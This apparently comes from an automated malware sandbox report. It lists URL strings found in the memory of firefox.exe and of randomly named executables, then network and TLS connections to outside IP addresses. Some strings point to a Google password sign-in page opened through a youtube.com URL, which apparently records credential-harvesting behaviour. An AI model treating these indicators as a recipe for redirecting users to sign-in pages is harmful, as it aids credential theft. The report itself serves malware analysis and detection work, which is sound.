Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3399505695.00000214AAD50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/Failed
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/main/anti-tracking-url-decorationscheduleCheckFor
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001D.00000003.3339089600.00000214B3CB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/resource://gre/modules/GMPInstallManager.sys.mjsList
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchLOAD_ANONYMOUS_ALLOW_CLIENT_CERTctrlTab-showAll-container
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/loadPath
Source: d0d9725343.exe, 0000000B.00000003.2954153518.00000000038BA000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167200926.00000000057D5000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3315639866.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: d0d9725343.exe, 0000000B.00000003.2954153518.00000000038BA000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167200926.00000000057D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000003.3364445219.00000214ADDAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3454872556.00001A5334604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3445177283.00000214B3FD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3315185468.00000214AF391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3374751483.0000006AFD63B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3354036603.00000214ADDAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001D.00000002.3417855408.00000214ACC43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001D.00000003.3322309310.00000214ACB79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3322309310.00000214ACB93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/How
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/mr2022-background-update-toast-primary-button-labe
Source: firefox.exe, 0000001D.00000002.3417855408.00000214ACC43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: firefox.exe, 0000001D.00000002.3416090218.00000214ACA1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/ObjectUtils.sys.mjsresource://gre/modules
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 0000001D.00000002.3374751483.0000006AFD63B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001D.00000002.3425023618.00000214AE2C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001D.00000002.3455841422.0000250454D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001D.00000002.3442157921.00000214B3B6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADCB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001D.00000003.3317888564.00000214ADDC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accoSt?=https://a
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.3245222022.000002ABFAA6F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3254876412.0000025FAF72F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd4u%b
Source: firefox.exe, 0000001D.00000002.3378785506.000002149CE6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdOur
Source: firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdY
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://addons.mozil
Source: 3981530833.exe, 00000010.00000002.3310836635.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, 3981530833.exe, 00000010.00000003.3288760750.00000000013A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdx
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountgWindowsWithUnloadHandlerexperimental.hideHeuristic_getBoundsWithoutFlush

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50017 version: TLS 1.2
